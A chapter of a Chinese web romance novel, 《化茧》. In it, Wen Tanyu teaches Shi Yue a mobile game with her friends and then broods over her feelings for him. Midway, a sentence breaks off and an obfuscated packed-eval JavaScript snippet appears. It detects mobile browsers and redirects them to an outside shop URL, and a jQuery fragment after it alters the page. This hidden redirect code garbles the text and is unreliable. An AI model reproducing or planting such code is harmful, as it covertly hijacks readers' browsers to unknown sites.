16.久旱逢甘霖
作品:《化茧》 空气凝固了两秒。
!
!!
!!!
他怎么还直接念出来了!
温昙予把语音转文字,确认自己没有听错。
可事实就是事实,“主人”两个人明晃晃地躺在屏幕上。
温昙予第一次觉得手机这么烫手,换个人她都要怀疑是故意的了。可偏偏是那个桀骜不驯,看起来绝无可能臣服于任何人的时樾。
不可避免的,在听见这两个字的时候,她脑中自动生成了一幅画面。
那是她在画展上看见的一幅画。
虔诚的信徒匍匐在地,献祭身心只为在神明指尖留下克制一吻。
神明张开圣洁的双翼庇护着信徒,信徒背后却露出了属于恶魔的尾,如荆棘搬缠绕住神明的双腿。
此刻一切都幻化,仿佛她才是那个被拉入深渊的神明,而时樾是那个企图渎神的恶魔。
——我是您唯一的信徒,您也只能是独属我一人的主。
一股热意顺着耳尖爬上温昙予的脸颊。
温昙予猛地摇头,把脑海中乱七八糟的想法都甩出去。
不能对时樾有这种不道德的想法!
带着眼尾还残留着一点没来得及褪去的红,她点开输入框,面不改色地平静回道:【是的。】
“叮——”
手机很快再一次传来时樾的信息。
时樾:【好的^_^】
-
时樾打开门进来的时候,温昙予正坐在客厅打游戏,手机里还时不时传出周岁晴和一个男生的声音。
“女神像是大遗产。”周岁晴说:“小黎去补,我和阿昙ob去了。”
男生应了一声:“ok。”
温昙予不知道是没听见有人进来了还是听见了没空理他,时樾进来了她头都没抬一下。
时樾走过去,在沙发边站定:“在打游戏?”
“嗯。”
还是没抬头。
他正想再说点什么,手机里那个男生又开口了。
“阿昙好厉害啊,这都能救下来。”
时樾看见温昙予嘴角很浅地弯了一下:“没有,运气好。”
他挑了挑眉,没再说话,转身进了厨房。
客厅时不时响起温昙予和队友说话的声音,时樾喊她吃饭的时候,她正好打完一把。跟朋友说了声要吃饭了晚点玩,温昙予就退出了游戏。
关手机前她瞥了眼时间,时樾今天做饭比平时快了一点。
她坐到饭桌边,时樾在她对面坐下。
“刚刚在玩游戏?”
温昙予夹了一筷子菜:“嗯。”
“之前没见你玩过,”他问道,“刚下的?”
温昙予摇摇头:“不是,很早就在玩了。之前周岁晴工作忙,一直没空玩,今天元旦放假就一块玩会儿。”
“昂。”
信息提示音不断响起,周岁晴正在群里和小黎互相吐槽刚刚对方的下饭操作。温昙予打开手机看了眼,觉得好笑,放下筷子也回了两句。
这时,时樾又开口了:“看起来还挺好玩的。”
“啊,”温昙予手机键盘敲得哒哒响,“还行。”
空气安静了一会儿。
“以前没见过这类游戏。”
她手指顿了顿,抬起头,一个猜测在她心里萌生。
温昙予试探道:“你要跟我们一起玩吗?”
时樾看起来有点为难:“不太好吧。”
温昙予:“?”
她猜错了?
温昙予:“那算了?”
时樾看了她一眼:“我这不是怕坑你们吗?”
温昙予:“......”
这倒不至于。
“没事,打的匹配,刚好我们三缺一。”她说:“人能来就行了,我能带。”
时樾嘴角弯了一下:“那行。”
温昙予跟周岁晴和小黎说了下要带个新手,两人都表示同意。时樾吃完饭就把手机递给她。
“你帮我下一下,我洗碗去,密码四个七。”
温昙予接过手机,没乱翻,点开下载就放到一边。估摸着差不多了,才又拿起来进游戏更新。
游戏更新完,时樾也刚好洗完出来了。
温昙予给他大致讲了下玩法:“这个游戏不难,就是修密码机,修完逃出大门就赢了。”她把手机往他面前推了推,“你先过个新手教程。”
时樾没多问,拿过手机就开了一把,温昙予在旁边看着。
选角色时,时樾问她:“我选哪个?”
温昙予:“你喜欢哪个选哪个就好了。”
时樾看了看,选了个最可爱的。
温昙予:“......”
第一把,时樾打了个平局。
“确实不难。”他说。
温昙予没打击他,没说第一把其实是人机局。两人加了好友,拉上周岁晴和小黎又开了几把。
因为有新手在,前两把依旧是人机局,四人顺利拿下了游戏胜利。
但第三把游戏就不一样了。
小黎开局没多久就被屠夫一刀干倒。
麦里传来他不好意思的声音:“不小心慢翻了。”
慢翻指交互速度减慢,如果在交互中被屠夫击中就会一刀倒地。
温昙予操纵着自己的游戏人物,往小黎的游戏人物那边赶:“没事,我去救你。”
周岁晴说:“我救吧阿昙,我离得近。”
“行。”温昙予刚转身摸到密码机,就听见周岁晴大喊了一声。
“操!!!”
“这个人是桂!!!”
......
周岁晴也在交互中被打中,一刀死了。
温昙予又掉头往小黎那边跑,安慰道:“没事,救下来还能争。”
一直安静的时樾忽然开口:“我来。”
温昙予看了他一眼,没拦着。
然后时樾也被一刀打倒了。
时樾:“啧。”
温昙予看着一个队友满挂两个队友倒地的状态栏,没忍住笑了下。
还好她刚才没往回走,这个时候赶过去还来得及。她一球把周岁晴从屠夫手里救下来,又极限把小黎从椅子上掏了下来。
此时时樾也自己爬起来了,局势有了喘息。在四人的配合下,最后居然拿了个平局。
小黎激动地夸道:“多亏有你阿昙,要不是你这把早输了。你有空可不可以教我玩ob位啊?”
周岁晴不服了:“啥意思?我最后那波不秀吗?你怎么只夸阿昙呢?还有我也是玩ob位的啊,你咋不让我教你?”
小黎支支吾吾道:“我,我比较喜欢阿昙玩的那个角色。”
周岁晴哼了声:“你最好是!”
温昙予接话道:“可以是可以,不过我最近有工作,可能得等我这段时间忙完。网上有很多教程,你可以先去看看。”
“而且能平局还是你后面溜得好,小小粥最后一波也很帅。”
小黎立刻道:“没事没事,我等你有空就好了。”
周岁晴也变了脸:“嘿嘿,还是阿昙最好了~”
时樾在一旁静静听着,等游戏匹配的间隙,他点进了摇骰子页面,随手一点。
骰子在手机屏幕上转了几圈,最后稳
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233155|197452||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
稳停在了一。
时樾:“......”
一到六,他投了个最小的一。
他不信邪,又投了一个。
骰子晃了几圈再次停在了一。
时樾:“?”
“时樾也玩的很好。”
他偏头看向温昙予,没想到话题还能绕到自己身上。
温昙予正操纵着游戏人物和周岁晴互动,没注意到他的目光:“机子压得很好,教一次就会了。”
话音刚落,手机震了震,游戏匹配成功。
时樾低低笑了一声,这声笑也被游戏的声音掩埋。
温昙予不像周岁晴,周岁晴元旦有假期,她没有。她今天还欠着三千字没还,四个人玩了会,温昙予就得还债去了。
跟几个人道了别,并约了下次一起玩的时间,温昙予就下游戏了。
见她不玩了,时樾也收了手机。
温昙予扭了扭脖子,有点想喝水。
刚才打游戏时一直是她在指挥,时樾时不时应两句。她刚拿起杯子,时樾就拎起旁边的烧水壶,往她杯里倒水。
“为什么他们都喊你阿昙?”时樾边倒边问。
温昙予没觉得有什么不对:“因为小小粥一直这么喊我,所以其他人也跟着这么喊了。”
“哦。”时樾给自己也倒了杯水,“那我也可以这么喊你吗?”
“可以是可以。”温昙予想了想,“不过不打游戏的时候这么喊,不会奇怪吗?”
“会么?”时樾语气自然,“那个谁不打游戏的时候不也这么喊你?”
那个谁?
说的是周岁晴吧......
不过也是,其他人都这么喊她,为什么在时樾身上,她会下意识觉得奇怪呢?
温昙予喝了口水,试图说服自己:“也是,那你想怎么喊就怎么喊吧。”
时樾放下烧水壶:“行。”
“那阿昙。”他开口道,“今天晚上想吃什么?”
温昙予握着水杯的手紧了紧,杯子里的水面微微摇晃。
“鸡翅。”
她又补了句:“要奥尔良和炸的双拼。”
时樾点点头,把杯子里的水一饮而尽就出门了。
门锁落下。
温昙予坐在原地,低头又抿了一口水。
她还是没有办法骗自己。
时樾就是跟别人不一样的。
她垂下眼,盯着杯子里晃荡的水面。
在很长一段时间里,她都是理智的,甚至理智到极端。她权衡利弊,及时止损,因为不想让时樾变成第二个她,所以她宁愿恶语相向,背负一切骂名,也要亲手把他推开。
而事实也如她所料般发展,后来的很长一段时间里,除了周岁晴,没人能再影响她的情绪。
可这段时间真的太长了。
长到她都忘了自己也是个平凡的人,是个会有感情的人。
不可否认的,时樾依然有撼动她这颗心的能力。
不管是从前还是现在,她都如这杯子里的水,会再次因为时樾的一言一行而摇晃。
但可悲的是,久处极寒的人触碰到热源的第一反应不是暖,而是疼。
她开始感到害怕了,她不知道怎么回应这份感情。二十四年来爱她的人少得可怜,她只能学着别人对她好的方式,去对别人好。她不想再有任何人因为她而受到伤害了,可她甚至不知道自己现在做的一切是对是错。
屋内安静得仿佛从没有什么人来过,唯有一只布偶猫蜷在一旁酣睡。
温昙予望了望窗外渐落的夕阳。
何况像她这样懦弱自私的人,也配得到爱吗?

